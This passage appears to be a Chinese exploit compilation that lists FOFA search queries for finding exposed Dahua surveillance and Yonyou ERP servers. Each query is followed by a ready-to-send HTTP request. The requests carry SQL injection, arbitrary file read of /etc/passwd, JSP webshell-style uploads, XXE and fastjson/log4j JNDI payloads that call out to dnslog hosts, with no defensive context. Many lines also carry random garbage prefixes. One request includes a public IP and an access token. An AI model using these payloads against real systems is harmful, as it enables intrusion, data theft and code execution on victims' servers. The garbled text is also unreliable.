3 i+ w9 h, |/ _7 C& n# y' v+ AFOFA：title="HFOffice"
' j! S" j, s/ k4 u' [/ {& k+ n, L" ~( h3 wpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
0 c. r+ {' U9 l+ D/ S  nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
+ e, Q6 [$ K6 |3 Q8 YAccept: */*
Accept-Language: en
* E' H+ L! b/ G+ t+ EAccept-Encoding: gzip


' s7 p# K' [' B8 A17. 大华 DSS itcBulletin SQL 注入
* U- o+ c" N$ AFOFA：app="dahua-DSS"
5 V3 v- v* v, N/ J* g8 [& VPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* ^3 E. Z# {. c# Q* s4 m8 OConnection: close
Content-Length: 345
$ S4 M0 f4 p3 g3 c' o' dAccept-Encoding: gzip
4 D5 h3 \2 p8 l' p2 }$ \3 E% _
9 k9 R4 z" n0 H/ x0 w' a5 {- x<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
/ h# f# t0 w3 I    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
# {9 x9 c. a$ O( ?0 Y$ I      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
/ s/ V4 M# n" W3 |6 B9 v  ]& v

7 A* J# q! x6 l/ T, }5 l. [18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
! x- j- P6 p4 O/ z- oFOFA：app="dahua-DSS"
1 X6 ~5 f: G* ?1 U+ \% @GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
" P5 l3 s9 P: [' TAccept: */*
0 q# ^! j7 ]' h  I2 ]7 wConnection: keep-alive
) G4 ~. `- q% h' r

6 q' J, n/ {$ m7 f" S4 t# }% K
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
9 l, I( b. E: h9 R- G0 u$ c/ dFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
$ f& T1 Q# P( m8 gHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' d" m& H$ r3 sAccept-Encoding: gzip, deflate
/ R, ?% K4 w2 @! {/ D' @Accept: */*
2 H3 u4 f; y- |  t& _Connection: keep-alive
8 D* v. j3 N7 x) {& t+ m

20. 大华ICC智能物联综合管理平台任意文件读取
) f6 c( a  E. L1 i2 ?' ~) `# P5 IFOFA：body="*客户端会小于800*"
7 U7 b8 N4 t7 T$ [6 h' L$ |GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
5 U; R: U$ p. z0 O3 Y, nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
  T2 R, C! I- I+ ~9 K! ~  mAccept: */*
1 r, C* s. P$ E7 y* j6 pAccept-Language: en
Accept-Encoding: gzip

; J# e5 [8 D5 m" a9 d
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
3 B9 L, o, G( \+ PPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( M, ^9 A, D, e( E% X$ ^5 ?4 B% k, b4 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" ~; W: M+ W6 g* A! I3 w. yContent-Length: 161
$ U' H: u4 a( u8 L  xAccept-Encoding: gzip
. T( C  A0 H( l3 h, CConnection: close
Content-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
, G1 y6 \& z( F/ R  }""
: S+ L% I& k$ I}

5 h' J' H5 |# P) j' d0 q- p
1 N9 _/ |; j# E+ ?1 a8 r5 k22. 大华ICC智能物联综合管理平台 log4j远程代码执行
$ F( h! W8 g/ g7 P. Q* n: hFOFA：icon_hash="-1935899595"
' z# Y; T. F% Q0 {( GPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 |/ b! i* w" Z2 dContent-Type: application/json;charset=utf-8
0 ]! ^0 n5 e& L% z% F, d
{
"loginName":"${jndi:ldap://dnslog}"
/ p- z, B1 M; Y1 ]3 k4 w}



23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- T" P0 v! ~5 I0 ]9 N& k8 vHost: your-ip
% J& |2 `$ |- g# PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) G1 q0 ]: T+ v8 R% xContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
  d( {( y+ P4 k( u: b" ^+ p  M
{
! k" b7 B# \" O  y% i/ p, \  q* V3 O& O    "a":{
. P3 O9 }* K8 f" N% g; m$ ^- p        "@type":"com.alibaba.fastjson.JSONObject",
3 o2 a0 S( m% @* Z       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
1 D3 e: E; q/ Y8 L2 a, z
( ~4 A: l+ `; j8 F
24. 用友NC 6.5 accept.jsp任意文件上传
7 F  i: J* F' z$ SFOFA：icon_hash="1085941792"
  |8 M* a  Y% R# _POST /aim/equipmap/accept.jsp HTTP/1.1
& A8 N) E2 }- CHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
3 H( W) W! n& f! XContent-Length: 449
Accept: */*
Accept-Encoding: gzip
! B# X! F+ l$ BContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; w8 Z) @/ ]8 o
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
( k- p/ j6 i3 l- o% S- W
4 \  T; d; |5 B
) B( x6 a) [0 `25. 用友NC registerServlet JNDI 远程代码执行
; n! o& a$ D# T( J, y" K$ a# LFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
- V# A8 S/ W' kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

* `/ a, `$ y8 y, i6 [# V, itype=1&dsname=ldap://dnslog
+ w1 M; m6 U: G( ]! a/ a; Y


26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, |. C: {" I+ l$ t5 [7 ZContent-Type: application/x-www-form-urlencoded
" t+ h$ V; Z3 g' g7 G/ G$ Q4 J, l# jAccept-Encoding: gzip, deflate
( B: u0 V+ I$ I2 c9 ^1 p+ KAccept: */*
+ Q& ]* i6 o  y+ f4 I" d* t  jConnection: keep-alive
! c  l8 T' ]4 k" _4 i

27. 用友 NC showcontent SQL注入
) ^; P! p" {# OFOFA：icon_hash="1085941792"
- t# f% M8 P4 I1 @, j) R% M2 eGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
  S2 p2 P7 k+ f! l+ B
7 L1 t0 y4 d1 K3 j5 i, X
28. 用友NC grouptemplet 任意文件上传
$ n" D) ?. R' ~5 ZFOFA：icon_hash="1085941792"
1 ^6 X1 J+ m. g. XPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
+ q! U. O  B* E+ c1 M! X) mConnection: close
* v2 U) x$ f, i' W. ?4 KContent-Length: 268
/ f6 u$ [; M; x4 Y8 HContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

# I, W! ^; p6 o: S------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
1 M- f7 l& g- M+ W- v; q, `& SContent-Type: application/octet-stream
- V: j" |' w7 M) v, m
; p0 D# i3 M7 f# _# h( ~' k<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
3 l8 U9 ~& S: X0 {* s: m5 X* k. z+ o
7 d0 W3 B3 _* ?% D' f6 }
  d/ J# H: u& v: o) _/uapim/static/pages/nc/head.jsp
- E% i3 |2 T3 O1 U2 |
0 W) n7 N( t+ ?* {29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ w- J) u. n4 fAccept: */*
Connection: keep-alive


' q! y' v! k- G- R4 e30. 用友NC importPml SQL注入
: {* W+ y7 Y  N1 ~. q6 a. SFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
$ x2 Q3 f$ {7 }POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
# u; [$ x  ~' `& nContent-Type: image/jpeg
( q" j, }( _  v) a2 X5 S------WebKitFormBoundaryH970hbttBhoCyj9V--
, p, I$ L, d; T, j5 t$ A6 j

/ V. `0 @' [+ n% O' H" d/ A31. 用友NC runStateServlet SQL注入
' `; F' S' T  @; l$ C7 Rversion<=6.5
! I! _9 J$ _8 T$ i0 D7 |8 ?FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
3 Y+ Y1 A* X& q4 aGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
/ z( m$ H/ K. l$ fContent-Type: application/x-www-form-urlencoded
: M1 q- A% W, y8 I! _2 C

32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: W$ x* `8 H0 I9 S. e, ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
4 d. l/ b7 Z4 d" d1 p  F; K  {Accept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
# z3 T1 i. c8 i% P  O' V4 Hversion：NC6.5FOFA：app="用友-UFIDA-NC"
* A7 s) u0 a0 U/ T5 C0 SGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( O# J. B  L- FContent-Type: application/x-www-form-urlencoded
4 V( _) E1 f& R$ OAccept-Encoding: gzip, deflate
/ m4 s* e! {9 j) p) ?Accept: */*
3 {2 I# O  Q' t" aConnection: keep-alive

) Z7 T8 \8 {: |7 }
" D3 p- ~; w2 m1 \34. 用友NC warningDetailInfo接口SQL注入
* f5 h! i1 I$ Y7 y8 {FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
. _" K" C# \2 \3 U/ L/ t. JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 I* Z1 [5 Z( \( x- n/ D! cContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) O0 d3 V# t7 J! V: ZAccept: */*
Connection: keep-alive

( T5 A6 t  }% e# ]  B3 g. U' k7 f
) l" w: H. I  T7 u* Y  J35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
9 w# q2 j+ K! L, LPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
0 o9 ^* L; W) I  C: EHost: 203.25.218.166:8888
/ p9 R0 d7 o% ?$ ~( U9 mUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
; ]/ I# g1 {- p7 R4 J8 HAccept: */*
# t2 y! N- X0 OConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
# x" [' n. y& Q/ J; E
: I" G' Y3 `# v" n- a, p1 K--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
8 z. p# U, j3 e+ U! ?2 `6 J
  P* p5 n" `# S) w$ f<%out.println(1111*1111);%>
) _' m3 B7 [2 B. B0 R& O! h) `--fd28cb44e829ed1c197ec3bc71748df0--
. w9 @( Y! [9 m4 w6 j

36. 用友NC-Cloud soapFormat XXE
$ M% _0 i0 D! N3 b" m& Z4 cFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
- ~) F" i# k6 HPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, q& _5 ?. V1 X2 BAccept-Encoding: gzip, deflate
* l# h% ]; F$ q" x  AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 U. w% w( U/ [- K3 N# ]( q  YConnection: close
Content-Type: application/x-www-form-urlencoded
! G4 D7 ^/ z) N) E( Q8 TUpgrade-Insecure-Requests: 1
$ X0 k! v3 Q! b. _
6 A& g# p# s) p9 g( J1 _msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
& t" t) |- f1 K9 o
$ E; ]% X" [7 M* }1 o8 O' z
. d( v4 x4 h# V: @1 d0 y" P* q37. 用友NC-Cloud IUpdateService XXE
! Y" I" R9 ?# t' x, P1 R+ gFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
  N, ^% y0 _) g9 R. c, z) Q  tHost: 192.168.40.130:8989
* {7 J/ i% ]- qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
, Z. |9 i+ }: ]8 a7 bContent-Length: 421
0 i* _) I: |/ w1 I7 G& zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
: R7 d9 \0 e9 Y: t' iAccept-Language: zh-CN,zh;q=0.9
- ~% r- ^, l6 _" @6 \Connection: close
Content-Type: text/xml;charset=UTF-8
7 i& T. D3 ^. |SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

  S! Z" R, U7 ]  p( m9 z<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
3 g4 n6 ]% l: o5 x$ n% {7 W0 q<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
- Y; s+ J- c. K& |6 m& H<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  a! y: z& {- B% N/ t  C; _<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

! e1 f5 n6 z4 `$ S9 a8 N3 P- W
& _! P. H9 R8 m0 P* Z
/ Z, y  q6 k) E" z3 _38. 用友U8 Cloud smartweb2.RPC.d XXE
  T% E* g( P2 p  `FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
, X1 s$ y. A- l' {" LContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 K" v, e* B8 x) z$ L, P# H1 SConnection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
' t, l2 i- P0 T, ]7 S3 G+ G* R

: n  m4 l% `( b1 w5 d' v1 R! q39. 用友U8 Cloud RegisterServlet SQL注入
7 O2 @, C; J& d+ r/ g: T7 \FOFA：title="u8c"
5 y( Z, w" P) E8 t' o0 LPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
' q/ M9 ^' g0 n0 d: }! L8 [( }( PConnection: close
Content-Length: 85
6 K- r6 [) ~% C! D7 DAccept: */*
Accept-Language: en
1 x) S) z" \/ rContent-Type: application/x-www-form-urlencoded
. g& ]& Z1 V# W$ v' E4 p5 TX-Forwarded-For: 127.0.0.1
1 P. |; T  z/ w3 L$ `  @) kAccept-Encoding: gzip

* E/ R' \/ T3 Q8 C2 Yusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


0 R, t0 H2 |, w40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
6 O0 i  r6 Q; J& H- p: {+ i9 R- ^POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* f. v! u# Y7 [4 e2 AContent-Type: text/xml
' L3 X7 V$ ~& N  q4 s: HConnection: close
# v) y8 R$ E3 P: I; e: V+ Q' M
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
0 m' v' f. d% i

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 D% M. X6 d$ }9 j6 `FOFA：app="用友-U8-Cloud"
  L( K& `" l# x: _9 n' ?  u" [GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
+ Q2 [7 R" U; S- A0 iHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 P/ R$ X  J) f9 U0 j" EContent-Type: application/json
Accept-Encoding: gzip
' @* F! {, J3 ?" Z. A2 HConnection: close

7 ]9 S3 u5 y% Q& @, n
42. 用友GRP-U8 SmartUpload01 文件上传
  j5 Z) h" H" _. PFOFA：app="用友-GRP-U8"
, K9 U7 ^- }+ `; @3 WPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
, e" M5 T1 o$ Y5 U# k" ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
, A, ~& c4 u4 E, |$ BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

1 e: e/ j2 f+ X; y$ Q/ [
# N* b; y0 L% J+ Jhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
. X6 c! u, }/ Q% g2 h
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
% c, B, d5 }% h1 d' oFOFA：app="用友-GRP-U8"
, x" c) l( Z& y% }' v% }+ S8 e' h0 M& aPOST /services/userInfoWeb HTTP/1.1
4 `% O7 `% }4 n9 yHost: your-ip
; c( h7 B& x' z' ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 \! l) K) y6 `Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
! T8 v8 H' w* K* Q& X7 i
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
" ]7 b- I. ]  m0 Q* h; q2 x: `( u   <soapenv:Header/>
" }7 m1 ~0 x& Q! f$ v8 R   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
& P+ H) c' U5 q/ e: R- I: p+ c+ k      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


+ R4 T  M( C/ R44. 用友GRP-U8 bx_dj_check.jsp SQL注入
! O& H% q; C. I8 ?3 X: r! WFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+ c) M1 j$ m( JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 }' [0 Z/ j$ s8 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# D- X  h% D/ B+ d$ j) `
6 J: Y- T. Z+ w: k# U. Z
' w) A' q# n9 U45. 用友GRP-U8 ufgovbank XXE
3 ]3 G2 f4 e) A0 i+ NFOFA：app="用友-GRP-U8"
9 a3 |2 P3 g; y: g/ @POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
% |2 d9 W1 n, z* ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
" C5 Q2 c$ q* VConnection: close
Content-Length: 161
6 t1 ?- o" M8 r, fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 s' v$ U8 Y; e8 k  G3 M- s6 @/ [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" L) j# Y. N+ _/ e& Q7 k! zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

$ ~- ?, F. A3 L2 x' @reqData=<?xml version="1.0"?>
9 V: y3 z% g4 g6 h% }<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
6 Q! S$ M0 D5 q2 J
; n' z0 i3 }! S! _
1 P6 d( e2 C( Z. [1 u& j! x46. 用友GRP-U8 sqcxIndex.jsp SQL注入
: n/ z+ X( W& D# @$ I2 m! K& kFOFA：app="用友-GRP-U8"
! I- L1 M# I) H+ a& B/ r2 mGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
7 K& E6 D) m4 D, \1 \. fHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" p* q* ~% r* P( OAccept-Language: zh-CN,zh;q=0.9
Connection: close
, d* T5 q, h9 c4 G
; E9 E/ w( j$ S3 _: |* F* G8 O
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
0 v1 Q' ~9 [- f9 K  W, LGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
% b% T& F! a, ~7 _- kCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
